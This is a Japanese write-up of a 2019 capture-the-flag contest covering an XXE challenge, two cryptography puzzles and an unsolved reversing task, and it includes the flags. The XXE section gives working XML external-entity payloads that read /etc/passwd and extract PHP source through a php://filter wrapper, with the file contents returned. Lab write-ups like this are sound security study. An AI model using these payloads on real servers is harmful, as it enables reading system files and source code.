TokyoWesterns CTF 5th 2019 Writeup

チームnicklegrで個人参加。
217点で180位(1005チーム中)でした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/a941c23c-33ba-c3b2-dbae-a47e27376228.png)

## Welcome!!
> フラグは TWCTF{Welcome_to_TWCTF_2019!!!} です。

```
TWCTF{Welcome_to_TWCTF_2019!!!}
```

## j2x2j
JSON <-> XMLの相互変換をするWebサイト。
DB使ってなさそうだし、サーバのローカルファイル読めないかな。

```xml
<xi:include href="index.php" parse="text"/>
```

を投げると

```json
"xi:include": {
    "@attributes": {
        "href": "index.php",
        "parse": "text"
    }
}
```

と返ってきた。includeはできなかったけど、`@attributes`が気になる。
ググると
https://www.ibm.com/developerworks/jp/xml/library/x-xml2jsonphp/index.html
https://gist.github.com/larscwallin/1375791/27987254ca81536ab8aaea77e74806ed6597092e
SimpleXMLというライブラリを使うとこうなるらしい。

SimpleXML Vulnerableでググると
https://github.com/ngallagher/simplexml/issues/18

よさげ。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY internal SYSTEM 'file:///etc/passwd'>]>  
<example index="123">
    <!-- SimpleXML didn't forbid external entity in xml elements-->
    <text>Example message:&internal;</text>
</example>
```

```json
{
    "@attributes": {
        "index": "123"
    },
    "comment": {},
    "text": "Example message:root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin\nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin\nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin\nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false\nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nsshd:x:109:65534::\/run\/sshd:\/usr\/sbin\/nologin\npollinate:x:110:1::\/var\/cache\/pollinate:\/bin\/false\n_chrony:x:111:115:Chrony daemon,,,:\/var\/lib\/chrony:\/usr\/sbin\/nologin\nubuntu:x:1000:1000:Ubuntu:\/home\/ubuntu:\/bin\/bash\ntw:x:1001:1002::\/home\/tw:\/bin\/bash\ngoogle-fluentd:x:112:116::\/home\/google-fluentd:\/usr\/sbin\/nologin\n"
}
```

きたきた。
ディレクトリの存在判定にも使えるっぽい。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY internal SYSTEM 'file:///var/www/html/'>]>  
<example index="123">
    <!-- SimpleXML didn't forbid external entity in xml elements-->
    <text>Example message:&internal;</text>
</example>
```

```json
{
    "@attributes": {
        "index": "123"
    },
    "comment": {},
    "text": "Example message:"
}
```

ディレクトリ・ファイルが存在しない場合はfailed to decode xmlが返ってくる。

`/etc/nginx/sites-available/default`を読むとphp使ってるのが確定。

```
root \/var\/www\/html;
...
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html index.php;
...
location ~ \\.php$ {
    include snippets\/fastcgi-php.conf;
    fastcgi_pass unix:\/var\/run\/php\/php7.2-fpm.sock;
}
```

けど`/var/www/html/index.php`を読んでもfailed to decode xmlになる。
しばらく悩んで、読めてるけどPHPのタグのせいでXMLの文法エラーになることに気づいた。

https://www.slideshare.net/ebihara/phpcon-2013xmlphpvuln のp.32に便利なものがあった。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY internal SYSTEM 'php://filter/convert.base64-encode/resource=file:///var/www/html/index.php'>]>
<example index="123">
    <!-- SimpleXML didn't forbid external entity in xml elements-->
    <text>Example message:&internal;</text>
</example>
```

```json
{
    "@attributes": {
        "index": "123"
    },
    "comment": {},
    "text": "Example message:PD9waHAKaW5jbHVkZSAnZmxhZy5waHAnOwoKJG1ldGhvZCA9ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddOwoKZnVuY3Rpb24gZGllNDA0KCRtc2cpIHsKICBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsKICBkaWUoJG1zZyk7Cn0KCmZ1bmN0aW9uIGNoZWNrX3R5cGUoJG9iaikgewogIGlmIChpc19hcnJheSgkb2JqKSkgewogICAgJGtleV9pc19zdHIgPSBmdW5jdGlvbigkb2JqKSB7CiAgICAgIGZvcmVhY2goJG9iaiBhcyAka2V5PT4kdmFsKSB7CiAgICAgICAgaWYgKGlzX2ludCgka2V5KSkKICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgfQogICAgICByZXR1cm4gdHJ1ZTsKICAgIH07CiAgICAKICAgIGlmICgka2V5X2lzX3N0cigkb2JqKSkgewogICAgICByZXR1cm4gJ29iamVjdCc7CiAgICB9CiAgICBlbHNlIHsKICAgICAgcmV0dXJuICdhcnJheSc7CiAgICB9CiAgfQogIGVsc2UgewogICAgcmV0dXJuIGdldHR5cGUoJG9iaik7CiAgfQp9CgpmdW5jdGlvbiBqc29uMnhtbCgkb2JqKSB7CiAgJHJlcyA9ICcnOwogCiAgaWYgKGlzX2FycmF5KCRvYmopKSB7CiAgICBmb3JlYWNoKCRvYmogYXMgJGtleSA9PiAkdmFsKSB7CiAgICAgIHN3aXRjaChjaGVja190eXBlKCR2YWwpKSB7CiAgICAgICAgY2FzZSAnYXJyYXknOgogICAgICAgICAgZm9yZWFjaCgkdmFsIGFzICR2KSB7CiAgICAgICAgICAgICRyZXMgLj0gIjwka2V5PiI7CiAgICAgICAgICAgICRyZXMgLj0ganNvbjJ4bWwoJHYpOwogICAgICAgICAgICAkcmVzIC49ICI8LyRrZXk+IjsKICAgICAgICAgIH0KICAgICAgICAgIGJyZWFrOwogICAgICAgIGRlZmF1bHQ6IC8vIG9iamVjdCBvciBwcmltaXRpdmUKICAgICAgICAgICRyZXMgLj0gIjwka2V5PiI7CiAgICAgICAgICAkcmVzIC49IGpzb24yeG1sKCR2YWwpOwogICAgICAgICAgJHJlcyAuPSAiPC8ka2V5PiI7CiAgICAgICAgICBicmVhazsKICAgICAgfQogICAgfQogIH0KICBlbHNlIHsKICAgICRyZXMgPSAoc3RyaW5nKSRvYmo7CiAgfQogIHJldHVybiAkcmVzOwp9CgoKaWYgKCRtZXRob2QgPT09ICdQT1NUJykgewogICRqc29uc3RyID0gJF9QT1NUWydqc29uJ107CiAgJHhtbHN0ciA9ICRfUE9TVFsneG1sJ107CgogIGlmICghKGVtcHR5KCR4bWxzdHIpIF4gZW1wdHkoJGpzb25zdHIpKSkgewogICAgZGllNDA0KCc0MDQnKTsKICB9CgogIGlmICghZW1wdHkoJGpzb25zdHIpKSB7CiAgICAkb2JqID0ganNvbl9kZWNvZGUoJGpzb25zdHIsIHRydWUpOwogICAgaWYgKGVtcHR5KCRvYmopKSB7CiAgICAgIGRpZSgnZmFpbGVkIHRvIGRlY29kZSBqc29uJyk7CiAgICB9CiAgICAkZG9jID0gbmV3IERPTURvY3VtZW50KCcxLjAnKTsKICAgICRkb2MtPmZvcm1hdE91dHB1dCA9IHRydWU7CiAgICAkX29iaiA9IGFycmF5KCk7CiAgICAkX29ialsncm9vdCddID0gJG9iajsKICAgICRkb2MtPmxvYWRYTUwoanNvbjJ4bWwoJF9vYmopKTsKICAgIGVjaG8gJGRvYy0+c2F2ZVhNTCgpOwogIH0KCiAgaWYgKCFlbXB0eSgkeG1sc3RyKSkgewogICAgbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlcihmYWxzZSk7CiAgICAkb2JqID0gc2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWxzdHIsICdTaW1wbGVYTUxFbGVtZW50JywgTElCWE1MX05PRU5UKTsKICAgIGlmIChlbXB0eSgkb2JqKSkgewogICAgICBkaWUoJ2ZhaWxlZCB0byBkZWNvZGUgeG1sJyk7CiAgICB9CiAgICBlY2hvIGpzb25fZW5jb2RlKCRvYmosIEpTT05fUFJFVFRZX1BSSU5UKTsKICB9Cn0KZWxzZSB7Cj8+CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KICA8aGVhZD4KICAgIDx0aXRsZT5KU09OIDwtPiBYTUwgQ29udmVydGVyPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8dGV4dGFyZWEgaWQ9Impzb24iIG5hbWU9Impzb24iIHJvd3M9IjUwIiBjb2xzPSI4MCI+CiAgICA8L3RleHRhcmVhPgoKICAgIDxpbnB1dCB0eXBlPSJidXR0b24iIGlkPSJ4MmoiIHZhbHVlPSI8LSIvPgogICAgPGlucHV0IHR5cGU9ImJ1dHRvbiIgaWQ9ImoyeCIgdmFsdWU9Ii0+Ii8+CgogICAgPHRleHRhcmVhIGlkPSJ4bWwiIG5hbWU9InhtbCIgcm93cz0iNTAiIGNvbHM9IjgwIj4KICAgIDwvdGV4dGFyZWE+CgogICAgPHNjcmlwdAogICAgICBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjIuMS5taW4uanMiCiAgICAgIGludGVncml0eT0ic2hhMjU2LWh3ZzRnc3hnRlpoT3NFRWFtZE9ZR0JmMTNGeVF1aVR3bEFRZ3hWU05ndDQ9IgogICAgICBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICAgICQuZ2V0KCcvc2FtcGxlLmpzb24nLCBmdW5jdGlvbihkYXRhKSB7CiAgICAgICAgJCgnI2pzb24nKS52YWwoZGF0YSk7CiAgICAgIH0sICd0ZXh0Jyk7CgogICAgICAkKCcjajJ4Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgJC5wb3N0KCcvJywgewogICAgICAgICAganNvbjogJCgnI2pzb24nKS52YWwoKQogICAgICAgIH0sIGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICQoJyN4bWwnKS52YWwoZGF0YSk7CiAgICAgICAgfSk7CiAgICAgIH0pOwoKICAgICAgJCgnI3gyaicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICQucG9zdCgnLycsIHsKICAgICAgICAgIHhtbDogJCgnI3htbCcpLnZhbCgpCiAgICAgICAgfSwgZnVuY3Rpb24oZGF0YSkgewogICAgICAgICAgJCgnI2pzb24nKS52YWwoZGF0YSk7CiAgICAgICAgfSk7CiAgICAgIH0pOwogICAgPC9zY3JpcHQ+CiAgPC9ib2R5Pgo8L2h0bWw+Cjw\/cGhwCn0K"
}
```

base64デコードすると

```php
<?php
include 'flag.php';
...
```

flag.phpを同様に読むと

```php
<?php
$flag = 'TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}';
```

```
TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}
```

## real-baby-rsa
```python
flag = 'TWCTF{CENSORED}'

# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
e = 65537

# Encrypt the flag!
for char in flag:
    print(pow(ord(char), e, N))
```

数学わからないマンだけど、1文字ずつ暗号化してるから全パターンのテーブル作って逆引きすればいい。

```ruby
# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
E = 65537

tbl = {}

("!" .. "~").each do |e|
  enc = e.ord.pow(E, N)
  tbl[enc] = e.to_s
end

puts File.readlines("output").map{|e| tbl[e.to_i]}.join("")
```

```
TWCTF{padding_is_important}
```

## Simple Logic
オレオレ暗号の平文・暗号文ペアをあげるから鍵を求めてね、という問題。

```ruby
require 'securerandom'
require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def encrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = (enc + key) & mask
        enc = enc ^ key
    end
    enc
end

def decrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = enc ^ key
        enc = (enc - key) & mask
    end
    enc
end

fail unless BITS % 8 == 0

flag = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
key = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)

STDERR.puts "The flag: TWCTF{%x}" % flag
STDERR.puts "Key=%x" % key
STDOUT.puts "Encrypted flag: %x" % encrypt(flag, key)
fail unless decrypt(encrypt(flag, key), key) == flag # Decryption Check

PAIRS.times do |i|
    plain = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
    enc = encrypt(plain, key)
    STDOUT.puts "Pair %d: plain=%x enc=%x" % [-~i, plain, enc]
end
```

```
Encrypted flag: 43713622de24d04b9c05395bb753d437
Pair 1: plain=29abc13947b5373b86a1dc1d423807a enc=b36b6b62a7e685bd1158744662c5d04a
Pair 2: plain=eeb83b72d3336a80a853bf9c61d6f254 enc=614d86b5b6653cdc8f33368c41e99254
Pair 3: plain=7a0e5ffc7208f978b81475201fbeb3a0 enc=292a7ff7f12b4e21db00e593246be5a0
Pair 4: plain=c464714f5cdce458f32608f8b5e2002e enc=64f930da37d494c634fa22a609342ffe
Pair 5: plain=f944aaccf6779a65e8ba74795da3c41d enc=aa3825e62d053fb0eb8e7e2621dabfe7
Pair 6: plain=552682756304d662fa18e624b09b2ac5 enc=f2ffdf4beb933681844c70190ecf60bf
```

加算とXORしかしてないので、何回やっても線形の演算になる。
なのでz3pyで解が出せるはず。

```python
# coding: utf-8

from z3 import *

pairs = [
  [ 0x29abc13947b5373b86a1dc1d423807a, 0xb36b6b62a7e685bd1158744662c5d04a ],
  [ 0xeeb83b72d3336a80a853bf9c61d6f254, 0x614d86b5b6653cdc8f33368c41e99254 ],
  [ 0x7a0e5ffc7208f978b81475201fbeb3a0, 0x292a7ff7f12b4e21db00e593246be5a0 ],
  [ 0xc464714f5cdce458f32608f8b5e2002e, 0x64f930da37d494c634fa22a609342ffe ],
  [ 0xf944aaccf6779a65e8ba74795da3c41d, 0xaa3825e62d053fb0eb8e7e2621dabfe7 ],
  [ 0x552682756304d662fa18e624b09b2ac5, 0xf2ffdf4beb933681844c70190ecf60bf ],
]

s = Solver()

encs = [[BitVec("x[%d,%d]" % (i,j), 128) for j in range(765 + 1)] for i in range(6)]
key = BitVec("key", 128)

for i in range(6):
  s.add(encs[i][0] == pairs[i][0])

  for j in range(765):
    s.add(encs[i][j+1] == (encs[i][j] + key) ^ key)

  s.add(encs[i][765] == pairs[i][1])

r = s.check()
if r == sat:
  m = s.model()
else:
  print(r)
  exit(1)

print(m[key].as_long())
```

1時間以上かかったからバグってないか心配だった。

```
% time python3 solver.py
62900030173734087782946667685685220617
python3 solver.py  4615.08s user 54.83s system 98% cpu 1:19:03.29 total
```

```ruby
require 'securerandom'
require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def decrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = enc ^ key
        enc = (enc - key) & mask
    end
    enc
end

key = 62900030173734087782946667685685220617
enc = 0x43713622de24d04b9c05395bb753d437

puts("enc=%x plain=%x" % [enc, decrypt(enc, key)])
```

```
TWCTF{ade4850ad48b8d21fa7dae86b842466d}
```

## Easy Crack Me
解けなかった。

angrにかけたけど解なし。コード内にstrchrがあるが、どうやらangrはstrchrを理解できないらしい。確かにSATソルバーに落とし込むの難しそう。
https://github.com/angr/angr/tree/master/angr/analyses/identifier/functions

`jmp`を書き換えてstrchrを使ってるあたりをスキップさせてみたが、うまくいかず。

## 他の方のWriteup
- https://gist.github.com/elliptic-shiho/3ea53bc0829bd1fb37236cb35e73d532
- https://gist.github.com/hhc0null/82bf2e57ac93c1a48115a1b4afcde706
- https://gist.github.com/hzshang/b993040ad310da4199c3dd5a54769c48
- https://github.com/hama7230/multi-heap
- https://github.com/hOwD4yS/CTF/tree/master/2019/TokyoWesterns2019
- https://github.com/pr0cf5/CTF-writeups/tree/master/2019/twctf
- https://github.com/zzoru/ctf/blob/master/write-ups/2019/twctf/gnote/ex.c
- https://kt.gy/blog/2019/09/twctf-2019-quals-pwn-printf/
- https://kt.gy/blog/2019/09/twctf-2019-quals-reverse-holy-grail-war/
- https://kt.gy/blog/2019/09/twctf-2019-quals-reverse-meow/
- https://kt.gy/blog/2019/09/twctf-2019-quals-web-j2x2j/
- https://lordofpwn.kr/twctf_mi_writeup/
- https://ptr-yudai.hatenablog.com/entry/2019/09/02/100556
- https://r3kapig.com/writeup/20190904-tokyowesterns/
- https://satto.hatenadiary.com/entry/TWCTF-2019
- https://twitter.com/Charo_IT/status/1168379342881091584
- https://twitter.com/Charo_IT/status/1168541939106369541
- https://twitter.com/hhc0null/status/1168354715471507456
- https://twitter.com/JP3BGY/status/1168485707687448576
- https://twitter.com/JP3BGY/status/1168486434115710978